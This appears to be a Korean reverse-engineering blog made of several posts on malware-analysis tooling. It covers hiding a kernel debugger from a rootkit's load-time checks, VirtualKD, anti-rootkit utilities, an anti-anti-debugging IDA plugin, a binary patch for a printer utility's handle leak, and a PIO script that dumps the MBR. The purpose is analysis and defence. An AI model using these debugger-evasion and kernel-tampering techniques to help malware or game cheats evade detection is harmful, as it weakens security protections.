- Introduction -


Rootkit을 분석하는데 이 Rootkit은 로드 타임(Load Time)에 커널 디버거가 붙여져 있으면 그것을 감지하고 드라이버 로드가 되지 않게끔 구현 되어져 있었다.

그것이 프로텍터에 의한 것인지 실제 악성코드 제작자가 의도하고 구현한 것인지는 모르겠지만,  어쨌든 분석하는 입장에서는 VMWare에 Windbg를 붙인 상태에서 마음 놓고 Rootkit을 로드 시켰는데 로드가 안되니 답답할 노릇이었다.


그래서 생각한 것이 Rootkit이 완전히 로드 되고난 다음에는 Timer DPC나 쓰레드 등을 이용해서 따로 실시간 감시하는 루틴이 존재하지 않을 것이란 전제하에, 즉, 로드 타임에만 검사가 이루어진다면 WinDbg를 잠시 떼어낸 상태에서 Rootkit 드라이버를 로드 시킨 다음에 다시 WinDbg를 붙이면 어떨까 하는 생각에 의해서 나온 것이 이것이다.



- How to implement -


구현 방법은 간단하다.


커널에서 Export 하고 있는 KdDebuggerEnabled, KdDebuggerNotPresent 변수의 값을 내가 원하는 값으로 바꿔버리는 것이 전부이다.


When you want to detach Windbg : KdDebuggerEnabled = FALSE,   KdDebuggerNotPresent = TRUE

When you want to attach Windbg again : KdDebuggerEnabled = TRUE, KdDebuggerNotPresent = FALSE


이렇게만 설정 해주면 된다.



- Supported OS -


32Bit, 64Bit  Windows XP/7/8 have been tested.

(64Bit should be in Test Mode. The 64bit kernel driver has been test signed.)


In 32bit OS, "ctrlkerneldbgX86.sys" will be dropped and executed.

In 64bit OS, "ctrlkerneldbgX64.sys" will be dropped and executed.



- How to use -


1. Windbg를 VMware나 VirtualPC 등등에 입맛에 맞게 붙이고 가상 머신을 켠다.


2. Rootkit이 로드 타임에 커널 디버거를 감지하는 루틴을 가지고 있다면, 이 프로그램을 이용해서 잠시 Windbg를 Disable 시킨다.


3. Rootkit을 로드시킨다.


4. 다시 Windbg를 Enable 시킴으로써 Rootkit의 디버깅이 가능해진다.



- ETC -


This app hasn't been tested on real PC. It may cause BSOD. Don't run this on your real PC. Just try it on VM.


This app has been built by VS2012 Update 3. If you can't run this app on your PC. 

Install this : (http://www.microsoft.com/en-us/download/details.aspx?id=30679)






ctrl_hookdriver.exe



저작자 표시 비영리 변경 금지
신고
by Sone 2013.08.02 09:30

흔히들 Windows 운영체제 내부구조를 살펴보거나 자신이 개발중인 커널 드라이버를 디버깅 할때, VMWare나 VirtualBox등의 가상 환경에 테스트 운영체제를 띄운 후, WinDbg로 파이프 연결해서 커널 디버깅을 하곤 합니다.

이때, 디버깅 속도는 그래도 나름 빠른 정도이긴 하지만, 가끔 속터질때가 있었을겁니다.


이번에 소개하는 플러그인은 VMWare와 WinDbg를 연동한 Windows 운영체제의 디버깅을 수행할 때, 심지어 올리디버그의 Trace보다 훨씬 빠른 초강력 스피드를 내게 해주는 WinDbg Extension 입니다.



출처 : http://virtualkd.sysprogs.org/





설치 방법 (이하 방법은 VMWare를 기준으로 합니다.)



0. 먼저 VirtualKD를 다운로드 받는다. (http://virtualkd.sysprogs.org/download/VirtualKD-2.8.exe)


1. VMWare에서 자신이 디버깅하고자 하는 OS를 실행시킨다. 

    (가상머신의 하드웨어 구성에서 커널 디버깅을 위한 COM포트 등을 따로 추가할 필요 없음)


2. 다운로드 받은 VirtualKD의 압축을 풀고 target 폴더안에 존재하는 "vminstall.exe" 를 가상머신으로 옮긴다.


3. 가상머신 내부에서 vminstall.exe 을 실행한다.




4. 위 스샷과 같이 Create a new boot entry 를 선택하고 Install을 누른다. 기타 체크박스 옵션들은 본인의 취향에 맞게 선택한다.


5. 설치가 끝나면 재부팅 하겠냐는 메시지가 뜨는데, 잠시 보류하고 다운로드 받은 VirtualKD를 실행하기 위해서 vmmon.exe (64비트는 vmmon64.exe) 를 실행한다.




6. Debugger Path... 를 클릭해서 WinDbg의 실행파일 경로를 지정해준다.


7. VM List에서 본인이 연결하고자 하는 VM을 선택해주고 (이때 VM의 pipe name이 vmmon에 떠있어야 함) 

    Run debugger를 눌러서 WinDbg를 띄워준다.


8. WinDbg는 Pipe를 기다리는 상태가 되고, 5에서 보류했었던 메시지를 Yes 눌러서 가상머신을 재부팅 한다.


9. 이후에 뜨는 Boot Entry에서 VirtualKD 엔트리를 선택하여 부팅한다.




위 스샷과 같이 vmmon화면에서 OS와 debugger 항목이 yes로 나오면 정상적으로 연결된 것입니다.

DbgBreakPoint() on start에 체크가 되어져 있는 경우, 위 화면과 같이 KiSystemStartup에서 KdInitSystem을 호출하게 되고,

KdInitSystem 내부에서 BP가 걸리게 됩니다. 극초반에 BP가 걸리기 때문에 Windows OS의 부트 프로세스를 파악할때는 좋은 옵션이 될것 같습니다.



VirtualKD를 이용할 경우,  무슨 60FPS 게임 조작하듯이 엄청난 응답성을 보장받게 되니, 디버깅할때 훨씬 수월해집니다.

이것도 러시아 사람이 만든것 같은데, 머리 좋은 사람이 참 많은듯..

저작자 표시 비영리 변경 금지
신고
by Sone 2013.05.25 04:42

과거 XueTr이라 불렸던 안티 루트킷 프로그램의 개명버젼입니다.

XueTr은  x86 시스템만 지원했었지만, PC Hunter부터는 x64 버젼도 지원합니다.

거의 왠만한 기능은 다 보유하고 있는 초강력 안티 루트킷 프로그램입니다.


(출처  : http://www.xuetr.com/)


Supported OS:

Windows 2000 SP4 (32-bit only)

Windows XP (32-bit only)

Windows Server 2003 (32-bit only)

Windows Vista (32-bit only)

Windows Server 2008 (32-bit only)

Windows 7 (32/64)

Windows 8 (32/64)



Currently,the following features are available:


*Process Manager

View system process and thread basic information.

Detect hidden processes,threads,process modules.

Terminate, suspend and resume processes and threads.

View and manipulate process handles,windows and memory regions.


*Kernel Module Viewer

Display kernel module information including ImageBase,Size,Driver Object,ImagePath,ServiceName and Load Order.

Detect hidden kernel modules.

Unload kernel module(dangerous).

Dump kernel image memory.

Display and delete system driver service information.


*Hook Detector

View and restore SSDT,Shadow SSDT,sysenter and int2e hooks.

View and restore FSD and keyboard disptach hooks.

View and restore kernel code hooks including kernel inline hooks,patches,IAT and EAT hooks.

View and restore usermode process hooks incluing inline hooks,patches,IAT and EAT hooks.

View and restore message hooks(both global and local).

View and restore kernel ObjectType hooks.

Display Interrupt Descriptor Table(IDT).


*System Callback Viewer

Display and remove Kernel Notifications(Process/Thread/Image/Registry/Lego/Shutdown/Bugcheck/FileSystem/Logon).


*Network Viewer

Display current network connections, including the local and remote addresses and state of TCP connections.

View and delete IE plugins and context menu.

View and restore tcpip dispatch hooks.

Display winsock providers(SPI).

View and edit hosts file.


*Filter Viewer

View and remove filters for common devices including disk,volume,keyboard and network devices. 

 

*Registry Viewer

View and edit system registry.

Detect hidden registry entries using live registry hive analysis.


*File Explorer

Detect hidden files using both disk analysis and driver methods.

View and delete locked files and folders.

View file basic information including NTFS Alternate Data Streams. 


*Autorun Manager

Display and delete common autorun entries.


*Service Manager 

Display Win32 service information (for Ring0 modules,it is included in Kernel Module Viewer).

Change service status and configuration.


*DPC Timer

Enumerate and delete DPC Timer objects.


*Miscellaneous

View and repair common filetype assosications.

View and repair image hijacks.


*Settings

Option to defense from process creation,thread creation,module load and message hook installation.

Option to defense from file creation,registry key creation.

Option to prevent system suspend,log-off,shutdown and reboot.

Option to prevent locking workstation and switching destop.

option to prevent setting system time.



PCHunter_free.rar


저작자 표시 비영리 변경 금지
신고
by Sone 2013.02.15 00:13

  근 4달여만에 새로운 주제로 블로깅을 하려니 약간 낯선점이 많다. 그래도 이렇게 블로깅을 하려고 한 이유는 어떤 프로그램의 문제점을 알리기 위해서이다.





  최근 해외에 잠시 여행을 다녀왔는데, 그때도 원격으로 컴퓨터를 컨트롤하기 위해서 컴퓨터를 4일동안 켜두었다. 그런데 한 이틀정도 지나서 컴퓨터에 원격으로 접속을 해보니, 아래와 같은 메시지가 떠 있었다.






"컴퓨터의 메모리가 부족합니다."






참고로 컴퓨터의 사양은 아래와 같다.


CPU : Intel Core i7 2670QM 2.2Ghz (Turbo Boost 3.1Ghz)

RAM : TeamGroup DDR3 1333Mhz 8Gb * 2 = 16Gb

VGA : NVIDIA Geforce GT 540M  GDDR3 2048Mb

O/S : MS Windows 7 SP1 x64




  가만히 생각을 해보니, 필자가 윈도우NT/2000기반의 완전한 32비트 운영체제로 넘어오고나서, "메모리가 부족합니다" 라는 메시지를 본적이 기억에도 없는것 같은데, 몇일전에 이 메시지를 보고야 만것이다. 더군다나, 메모리를 16기가로 업그레이드한지 그리 오래되지 않았는데, 메모리 부족 메시지를 보고야 만것이다!  이 메시지를 처음 보고나서,  메모리가 쪼달리나? 싶어서,  보드만 지원된다면 16Gb메모리를 버리고, 32Gb 메모리를 달고 싶었으나, 샌디브릿지 모바일 플랫폼 최대 지원용량은 16Gb기 때문에 아쉬움이 밀려왔다.(?)


  어쨌든 16Gb Physical Memory 환경에서 아무런 작업도 없는 Idle 상태에서 메모리 부족 메시지가 떴다는것은 분명 어떠한 프로그램에서 메모리 할당 후 해제를 해주지 않아서 이러한 문제가 발생했을 가능성이 높다고 판단해서 얼른 작업관리자를 열어서 확인을 해보았다.





 자! 작업관리자로 가만히 살펴보니, Memory Commit으로 정렬해서 살펴보았지만 크게 메모리 누수라 할만큼 사이즈가 크게 잡힌 프로세스는 보이지 않았다. 그래서 핸들을 기준으로 정렬해보니,  oemmice.exe 라는 녀석이 당당하게도 윈도우NT 커널을 제치고 1등으로 핸들을 잡아먹고 있었다. 지금 이 글을 쓰는 시점에서도 oemmice.exe의 핸들은 2개씩 차곡차곡 쌓이고 있다. 시스템의 메모리는 내가 다 독차지 해버리겠다!!   라고 말하면서 메모리를 다 갉아먹는 벌레같이 보일 정도이다.


( 참고 : 컴퓨터를 이틀동안 켜놓았더니  oemmice.exe가 잡아먹는 핸들의 갯수는 무려 3만2천개였으며, 

Physical Memory 사용량은 99%였음 )





  도저히 저 프로그램이 뭐 길래, 어떤 부분에서 핸들을 오픈하고 닫지않는지를 살펴보기 위해서 Process Hacker를 이용해서 내부를 살펴보았다. 



  핸들 리스트를 살펴보니, 레지스트리 키가 계속 2개씩 오픈되고 있음을 확인할 수 있었다. 현재 프로그램의 흐름상 저것이 닫힐일은 절대 없는것이다. 지금 이 글을 쓰는 시점에도 계속 2개씩 열리고 있다.



 저 핸들이 도대체 뭘 하는것인가, 궁금해서 속성을 살펴보았다.


Reference 카운트도 1임을 보면, 여러곳에서 참조를 해서 사용하고 있는것도 아니다. 즉, 단발성으로 Open - Use - Close 형식으로 작성되어져 있을것이다.





  그럼 이제 저 문자열로 레지스트리 키가 오픈된다는것은 알았으니 , RegOpenKey 또는 RegOpenKeyEx 등의 API로 저 경로의 레지스트리를 오픈할것이기 때문에,  API와 문자열을 바탕으로 프로그램의 속을 훑어보았다.



  위 부분은 SCX-1750 Series라는 키와 SCX-1770F Series 라는 키가 오픈될때 사용되는 루틴이다. 사실 SCX-1750과 SCX-1770F라 두 문자열에서 하나의 서브루틴을 사용하는 형태로 프로그램을 짜면 될텐데, 두 문자열이 각각의 루틴을 가지고 있었다. 어쨌든 루틴을 살펴보면, 앞서 언급한 문자열을 파라메터로 넘기면서 RegOpenKeyExA를 호출하고 있음을 확인할 수 있다. 여기까지는 아주 정상적으로 보였다. RegOpenKeyExA가 성공하면 0x00000000 성공이라는 리턴을 뱉을것이고, TEST EAX,EAX를 거친 뒤, JE 점프문에서 점프를 해서 아래로 실행이 쭉쭉 될것이다. 


이제 JE점프문을 따라가보자.

  잉? 앞서 RegOpenKeyExA를 성공하고 JE점프문을 따라서 그대로 내려왔는데, 또 똑같은 파라메터를 전달하면서 RegOpenKeyExA를 호출하고 있다!  즉, 결과적으로 RegOpenKeyExA가 두번 호출되고나서, 아래에서 RegSetValueExA를 이용해서 원하는 작업을 수행한 뒤, RegCloseKey를 수행해서 핸들을 닫는것이다.


즉 수행 루틴은 다음과 같다.

RegOpenKeyExA   ->  RegOpenKeyExA -> RegSetValueExA -> RegCloseKey



이 루틴은 다음과 같은 두 키를 대상으로 두번씩 반복적으로 진행된다.

HKLM\SOFTWARE\Wow6432Node\Samsung\DigitalImaging\CIPToolbox\Samsung SCX-1750 Series

HKLM\SOFTWARE\Wow6432Node\Samsung\DigitalImaging\CIPToolbox\Samsung SCX-1770F Series



이거 아무리 봐도 개발자가 개발하다가 귀찮아서 Copy & Paste를 했거나, 실수로 못봤을 가능성이 크다.



이 프로그램의 정체가 도대체 뭔가 싶어서 바이너리 정보를 살펴봤더니, 다음과 같았다.


 잉? 삼성 디지털 이미징?  생각해보니, 필자는 현재 삼성 SCX-1490W 라는 잉크젯 복합기를 사용중이다. 그럼 SCX-1490W 프린터를 사용하는 사람은 죄다 이 프로그램이 시스템 메모리에 상주하고 있을텐데, 죄다 이런 현상을 겪고 있는건가?

근데 생각해보니 나는 SCX-1490W 모델을 쓰고있는데,  레지스트리 핸들은 왜 SCX-1750 시리즈와 SCX-1770F 시리즈가 열리고 있는거지? 내가 저 프린터 모델을 쓰고 있는것도 아닌데? 아하! 이 프로그램을 여러 모델에서 돌려쓰고 있을 것이다. 그러면...이 문제는 SCX-1490W만의 문제가 아닌, 여러 프린터 모델에도 해당되는 문제일 것이다.



더 큰 문제는 Oemmice 프로그램이 윈도우 시작시 자동실행되고 있다는점이다.


Oemmice Application이라고 떡하니 이름을 올리고 있다!   그렇다면 윈도우 부팅때부터 야금야금 메모리를 잡아먹을 것이다.




핸들 누수는 심각한 문제로 판단되어져서, 프로그램에 임의로 패치를 해야될 필요가 있다. 

(원래는 삼성에서 개선해줘야 하는 문제이다.)

RegOpenKeyExA 가 두번 호출되는것을, 한번 호출되는 형태로 바꿔주어야 될것이다.

따라서 두번째 호출되는 RegOpenKeyExA는 NOP처리를 해주어야 한다.


결론적으로, 패치할 부분은 아래 두군데 이다. (SCX-1750, SCX-1770F 두군데.)













패치를 수행했더니 핸들 테이블이 아래와 같이 아주 깨끗한 상태임을 확인할 수 있었다.







아래는 패치된 파일이다. (만약을 대비해서 원본파일을 백업해두고 덮어씌울것을 권장한다.)

덮어씌울때는 작업관리자에서 oemmice.exe를 강제종료 시킨 뒤, 파일을 교체하고 다시 실행하면 된다.


oemmice.exe






아울러, 삼성에서도 이 문제를 인지하고 프로그램을 개선해야될것이다.


저작자 표시 비영리 변경 금지
신고
by Sone 2012.07.04 13:01

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력해주세요.

Named-mutant를 이용한 다중실행 방지 기법은 , 이미 지겹도록 다루어졌고 널리 퍼졌기때문에
이번엔 다른 커널 객체를 이용한 방법을 간단히 다루고자 한다.

결론부터 말하면, 별거없고 그냥 다른 커널객체를 이용할 뿐이다.

바로 소스를 살펴보면,

NTSTATUS ntRet = STATUS_SUCCESS;
HANDLE hSection;
UNICODE_STRING SectionName;
OBJECT_ATTRIBUTES SectionAttributes;
LARGE_INTEGER SectionSize;
CHAR Dbgmsg[100];

RtlInitUnicodeString(&SectionName, L"\\BaseNamedObjects\\s0neSectionObject");
InitializeObjectAttributes(&SectionAttributes, &SectionName, OBJ_OPENIF, NULL, NULL);
SectionSize.QuadPart = 0x1000;   //optional

ntRet = ZwOpenSection(&hSection, SECTION_ALL_ACCESS, &SectionAttributes);

//Is named-section already exist?
if( NT_SUCCESS(ntRet) )
{
ZwClose(hSection);
sprintf_s(Dbgmsg, sizeof(Dbgmsg), "Application is already running. (0x%08X)", ntRet);
MessageBoxA(GetForegroundWindow(), Dbgmsg, "Error", MB_OK);
return EXIT_SUCCESS;
}
else
{
//Create new named-section.
ntRet = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &SectionAttributes, &SectionSize, PAGE_READWRITE, SEC_COMMIT, NULL);

if( !NT_SUCCESS(ntRet) )
{
sprintf_s(Dbgmsg, sizeof(Dbgmsg), "Section create failed. (0x%08X)", ntRet);
MessageBoxA(GetForegroundWindow(), Dbgmsg, "Error", MB_OK);
return EXIT_FAILURE;
}


//.....continue execution......
         }


먼저 특정 이름의 섹션이 존재하는지 확인한 뒤, 존재한다면 이미 실행중이라 판단하고 종료하고, 
존재하지 않는다면 실행중이지 않다고 판단해서 고유의 이름을 가진 섹션을 새로 생성한다.
사람들이 거의다 뮤텍스만 사용하기때문에, 섹션은 조금 생소할수도 있으나,
따지고보면 결국은 이름 지정이 가능한 다른 커널 객체를 이용한다고 볼수있다.

VS2010 빌드

저작자 표시 비영리 변경 금지
신고
by Sone 2011.02.27 10:25

 
Apple | iPhone 3GS | Normal program | Spot | 1/10sec | F/2.8 | 3.9mm | ISO-1000 | No flash function | 2011:01:25 15:12:01
전 사실 이 책이 2009년에 나온지도 전혀 모르고 있었습니다 -_-;;
어찌보면 당연할수도 있는것이, 국내에 출간되지 않은 책이지요...
가지고 계시는분도 본적도 없고, 구매하셨다는분도 못들어봤구요...


 

Apple | iPhone 3GS | Normal program | Spot | 1/40sec | F/2.8 | 3.9mm | ISO-80 | No flash function | 2011:01:25 15:14:53
책 내용을 살펴보면 자세한 소스코드와 함께, 바로바로 실습할 수 있게끔 설명도 잘되어져 있고 내용 완성도가 매우 높아보입니다.
해외 온라인 평가를 살펴봐도, 아주 좋다는 응답이 많습니다.





Apple | iPhone 3GS | Normal program | Spot | 1/15sec | F/2.8 | 3.9mm | ISO-64 | No flash function | 2011:01:25 18:07:57
이 책을 읽음으로써 배울수 있게되는 내용들이 뒷면에 적혀져 있네요.
저도 아직 모르는것들이 많아서, 다른 서적들과 병행해서 차근차근 읽어볼 계획입니다..
이 책은  멀티프로세서 시스템과 , 윈도우 비스타의 커널 구조를 다룬다는것이 이전 루트킷 서적과 비교했을때 가장 큰 특징이라고 생각됩니다.




Apple | iPhone 3GS | Normal program | Spot | 1/10sec | F/2.8 | 3.9mm | ISO-1000 | No flash function | 2011:01:25 18:27:49

책 사이즈가 생각보다 아담하네요..
두께는 두껍지만(908페이지) 폭이 넓지가 않아서 휴대하는데 생각보다 간편할듯 합니다.



 

Apple | iPhone 3GS | Normal program | Average | 1/12sec | F/2.8 | 3.9mm | ISO-640 | No flash function | 2011:01:25 18:29:21

루트킷 서적과 사이즈 비교한 모습입니다.
실제로 보면 더 작아보입니다.

전 사실 이 책에 대한 첫 인상이, 표지에 한자가 써져있길래 속칭 짱깨 서적인줄 알았습니다....
어쨌든 좋은책인것은 분명합니다.
국내에도 빨리 정식출간 됐으면 좋겠네요.

이 책에 관해서 자세히 알아보시려면
구글에서 The Rootkit Arsenal - Escape and Evasion in the Dark Corners of the System
이라고 치면, 구글 도서 검색결과가 나오는데 거기 들어가시면 목차와 세세한 내용들이 나옵니다.

저작자 표시 비영리 변경 금지
신고
by Sone 2011.01.25 20:20
Kernel Detective 1.3.1 버젼에서 업데이트 되었습니다.
개인적인 바램으론 , Windows 7에서 안정성 향상이 되었으면 하는 바램입니다.
일단, 제가 실행해보니 Windows 7 에서는 특별한 문제는 아직까지 발견하지 못했습니다.

Update Date : Wednesday 08 December 2010 - 16:38:33


What's new in v1.4.0 :

- Added plugins system
- Added support for windows server 2008, seven sp1
- Enhanced stability on NT 6.0+ (windows vista/seven)
- Improved driver scan
- Improved code hook scan
- Fixed bug prevent the tool from working on windows xp
- Fixed bug related to long paths
- Fixed bug in process/driver dumper
- Fixed bug in IDT scan




이번 버젼에서 가장 큰 개선점은 , 플러그인 시스템이 지원된다는것입니다.
그중에서 기본으로 탑재되있는 C/C++기반의 스크립트 기능이 강력한것 같네요.
아래 Example 코드를 보시겠습니다.

#include "hxdmp.kds"

USHORT MasterBootRecord[512/sizeof(USHORT)];
UCHAR StatusRegister;
CHAR __strbuff[512];

KdWriteLog("Accessing disk by PIO-Mode ...\r\n");
memset((char *)&MasterBootRecord, 0x00, sizeof(MasterBootRecord));

KdWritePortChar(0x1f6, 0xA0);
KdWritePortChar(0x1f2, 0x01);
KdWritePortChar(0x1f3, 0x01);
KdWritePortChar(0x1f4, 0x00);
KdWritePortChar(0x1f5, 0x00);
KdWritePortChar(0x1f7, 0x20);
for (ULONG tryCounter = 0; tryCounter < 10000; tryCounter++) {
    StatusRegister = KdReadPortChar(0x1f7);
    if (StatusRegister & 0x08)
        break;
}

sprintf(__strbuff, "StatusRegister = %x\r\n", StatusRegister);
KdWriteLog(__strbuff);
KdReadPortBufferShort(0x1f0, MasterBootRecord, 512/sizeof(USHORT));
if (StatusRegister & 0x58) {
    KdWriteLog("Master boot record (MBR):\r\n");
    PCHAR strHexDump = HexDump((PUCHAR)MasterBootRecord, 512);
    KdWriteLog(strHexDump);
    delete strHexDump;
}



위 코드의 실행결과 입니다.


Accessing disk by PIO-Mode ...
StatusRegister = 58
Master boot record (MBR):
0x0000 : 33 c0 8e d0 bc 00 7c 8e c0 8e d8 be 00 7c bf 00 3.....|......|..
0x0010 : 06 b9 00 02 fc f3 a4 50 68 1c 06 cb fb b9 04 00 .......Ph.......
0x0020 : bd be 07 80 7e 00 00 7c 0b 0f 85 0e 01 83 c5 10 ....~..|........
0x0030 : e2 f1 cd 18 88 56 00 55 c6 46 11 05 c6 46 10 00 .....V.U.F...F..
0x0040 : b4 41 bb aa 55 cd 13 5d 72 0f 81 fb 55 aa 75 09 .A..U..]r...U.u.
0x0050 : f7 c1 01 00 74 03 fe 46 10 66 60 80 7e 10 00 74 ....t..F.f`.~..t
0x0060 : 26 66 68 00 00 00 00 66 ff 76 08 68 00 00 68 00 &fh....f.v.h..h.
0x0070 : 7c 68 01 00 68 10 00 b4 42 8a 56 00 8b f4 cd 13 |h..h...B.V.....
0x0080 : 9f 83 c4 10 9e eb 14 b8 01 02 bb 00 7c 8a 56 00 ............|.V.
0x0090 : 8a 76 01 8a 4e 02 8a 6e 03 cd 13 66 61 73 1c fe .v..N..n...fas..
0x00A0 : 4e 11 75 0c 80 7e 00 80 0f 84 8a 00 b2 80 eb 84 N.u..~..........
0x00B0 : 55 32 e4 8a 56 00 cd 13 5d eb 9e 81 3e fe 7d 55 U2..V...]...>.}U
0x00C0 : aa 75 6e ff 76 00 e8 8d 00 75 17 fa b0 d1 e6 64 .un.v....u.....d
0x00D0 : e8 83 00 b0 df e6 60 e8 7c 00 b0 ff e6 64 e8 75 ......`.|....d.u
0x00E0 : 00 fb b8 00 bb cd 1a 66 23 c0 75 3b 66 81 fb 54 .......f#.u;f..T
0x00F0 : 43 50 41 75 32 81 f9 02 01 72 2c 66 68 07 bb 00 CPAu2....r,fh...
0x0100 : 00 66 68 00 02 00 00 66 68 08 00 00 00 66 53 66 .fh....fh....fSf
0x0110 : 53 66 55 66 68 00 00 00 00 66 68 00 7c 00 00 66 SfUfh....fh.|..f
0x0120 : 61 68 00 00 07 cd 1a 5a 32 f6 ea 00 7c 00 00 cd ah.....Z2...|...
0x0130 : 18 a0 b7 07 eb 08 a0 b6 07 eb 03 a0 b5 07 32 e4 ..............2.
0x0140 : 05 00 07 8b f0 ac 3c 00 74 09 bb 07 00 b4 0e cd ......<.t.......
0x0150 : 10 eb f2 f4 eb fd 2b c9 e4 64 eb 00 24 02 e0 f8 ......+..d..$...
0x0160 : 24 02 c3 49 6e 76 61 6c 69 64 20 70 61 72 74 69 $..Invalid parti
0x0170 : 74 69 6f 6e 20 74 61 62 6c 65 00 45 72 72 6f 72 tion table.Error
0x0180 : 20 6c 6f 61 64 69 6e 67 20 6f 70 65 72 61 74 69 loading operati
0x0190 : 6e 67 20 73 79 73 74 65 6d 00 4d 69 73 73 69 6e ng system.Missin
0x01A0 : 67 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 g operating syst
0x01B0 : 65 6d 00 00 00 63 7b 9a 1a ba 12 d7 00 00 80 20 em...c{........ 
0x01C0 : 21 00 07 fe ff ff 00 08 00 00 00 f8 73 07 00 00 !...........s...
0x01D0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01E0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01F0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa ..............U.


이제 이 프로그램을 사용하는 사람이 어떤 마음을 먹느냐에 달려있다고 봅니다.
개인적으로 이런 좋은 "안티루트킷" 프로그램이 게임핵 따위에 이용되다가 , 
nProtect GG , Ahnlab HS등에 차단되지 않았으면 하는 바램입니다.

Org Referenced : http://at4re.com


저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

ZwOpenSection, ZwCreateSection을 이용한 멀티로드 방지  (3) 2011.02.27
The Rootkit Arsenal  (5) 2011.01.25
Kernel Detective 1.4  (0) 2010.12.09
Tuluka kernel inspector v1.0.394.77  (4) 2010.10.31
RKUnhooker LE v3.8.388.590 SP2  (0) 2010.10.31
IDA Stealth 1.3.2  (0) 2010.10.10
by Sone 2010.12.09 20:46
Org Referenced : http://www.tuluka.org/index.html

또 강력한 툴이 나왔습니다.





Tuluka is a new powerful AntiRootkit, which has the following features:

숨겨진 프로세스와 드라이버, 디바이스 감지
IRP 훅 감지
DRIVER_OBJECT의 특정 필드 식별 조회
드라이버 시그내쳐 체크
SSDT훅 감지 / 복원
GDT의 의심스러운 부분 감지
IDT훅 감지
SYSENTER 훅 감지
커널 시스템 쓰레드 리스트 조회 및 , Suspend가 가능
IAT와 인라인 훅 감지
DR 레지스터의 값 조회 가능하며 , 어떠한 모듈에서 DR을 건드리고 있는지 확인 가능
어드레스의 대입만으로 , 그 어드레스가 어떠한 모듈에서 사용되고 있는지 조회 가능
커널 메모리를 조회하고 , 그 정보를 디스크에 저장 가능
커널 드라이버 덤프 / 프로세스의 주 모듈 덤프 가능
프로세스 종료 가능
인터럽트 루틴 / IRP핸들러 / 시스템 서비스 / 쓰레드의 Start Routine 등등등등을    "디스어셈블" 가능
디바이스 스택 Build 가능
기타 등등



Tuluka is tested on the following operating systems(32-bit):

Windows XP SP0 SP1 SP2 SP3
Windows Server 2003 SP0 SP1 SP2 R2
Windows Vista SP0 SP1 SP2
Windows Server 2008 SP0 SP1 SP2
Windows 7 SP0 SP1


최근 들어서 이러한 종류의 툴들이 잇따라 등장하고 있습니다.
특히나 이 툴은  "Command" 를 지원하는것이 가장 큰 특징이라고 볼수있는데,
kernel detective 같은경우는 , disassemble이 있어서 좋았지만,  상당히 불안정해서 쓰지않고 있었는데,
이젠 이 툴로 대체가 가능하게 됐습니다.
Command 같은 경우 ,  Display Memory와  Disassemble을 지원하는데

해당 커맨드는   u (disassemble) , db, dw, dd(display) 가 있습니다.

Tuluka commands

Syntax

u [/d] [DISK] [address] [size]

Description

Disassembles the memory in the given range.

Parameters

address - start address of the region.

size - size of the region.

/d - get data from the disk instead of memory. If this parameter is present then DISK specifies the name of disk.

Example

u 804da000 1000

u /d c: 0 200 (disassembles boot sector)

Syntax

d{b,w,d} [/d] [DISK] [address] [size]

Description

Display the contents of memory in the given range.

Parameters

db - Each displayed line consists of address followed up to 16 byte values of its contents.

dw - Each displayed line consists of address followed up to 8 word values of its contents.

dd - Each displayed line consists of address followed up to 4 double-word values of its contents.

address - address from the dump should start

size - size of the dump

/d - dump data from disk instead of memory. If the parameter is present, the DISK argument specifies the name of disk device to dump.

Example

dd 804da000 1000

db /d c: 0 200 (displays contents of the boot sector)

____________________________________________________________________________________________________________________

>>db /d c: 0 200

00000000 EB 52 90 4E 54 46 53 20 20 20 20 00 02 08 00 00

00000010 00 00 00 00 00 F8 00 00 3F 00 FF 00 00 08 00 00



windbg의 커맨드를 그대로 반영했네요.

결국 이러한 툴들이 등장하는 목적은................
"로컬 커널 디버깅을 실시간으로 가능하게 한다"    라는것이 목적인듯하네요.
kernel detectivce , rkunhooker , Tuluka kernel inspector   모두 같은 맥락의 툴이겠지요.
시간이 지나면 지남에 따라서 , windbg가 필요없게 되는날이 올지도 모릅니다.
아니 , 그 날이 올게 분명합니다.

저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

The Rootkit Arsenal  (5) 2011.01.25
Kernel Detective 1.4  (0) 2010.12.09
Tuluka kernel inspector v1.0.394.77  (4) 2010.10.31
RKUnhooker LE v3.8.388.590 SP2  (0) 2010.10.31
IDA Stealth 1.3.2  (0) 2010.10.10
Import Reconstructor 1.7e FINAL  (0) 2010.10.10
by Sone 2010.10.31 14:58
Rootkit.com에서 활동중인 어떤 회원이 제작한 프로그램입니다.



사실 이 프로그램이 제작된지는 몇달 됐는데,  이제서야 올립니다.

주요기능은 아래와 같습니다

* SSDT/ Shadow SSDT 변조 탐지
* 숨겨진 프로세스 탐지
* 숨겨진 드라이버 탐지
* 스텔스 코드 탐지
* 숨겨진 파일 탐지
* 코드 훅 탐지
* 파일 쓰기/ 복사 기능
* 커널 콜백 루틴 조회/ 삭제 기능 
(PsSetCreateProcessNotifyRoutine / PsSetLoadImageNotifyRoutine / PsSetCreateThreadNotifyROutine)
* 커널 시스템 쓰레드 조회/ 중지 / 재개 기능
* 특정 영역 / 물리 메모리 덤프 기능
* 가상 머신 감지 기능 (using RDTSC)
* 윈도우 메시지 훅 감지 기능
* 강제 블루스크린 발생 기능




저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

Kernel Detective 1.4  (0) 2010.12.09
Tuluka kernel inspector v1.0.394.77  (4) 2010.10.31
RKUnhooker LE v3.8.388.590 SP2  (0) 2010.10.31
IDA Stealth 1.3.2  (0) 2010.10.10
Import Reconstructor 1.7e FINAL  (0) 2010.10.10
Visual Studio 2010 재배포 가능 패키지 (x86)  (1) 2010.08.05
by Sone 2010.10.31 14:35
IDA를 좀더 강력하게 해주는 플러그인 입니다.
각종 Anti Anti-Debugging Technique들이 많고 , 소스코드도 제공되기때문에
공부하는데 좋습니다.

TSC를 이용한 안티디버깅 기법을 무력화 시키는  커널 드라이버의 소스코드도 제공됩니다. (IDT Hook)

저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

Tuluka kernel inspector v1.0.394.77  (4) 2010.10.31
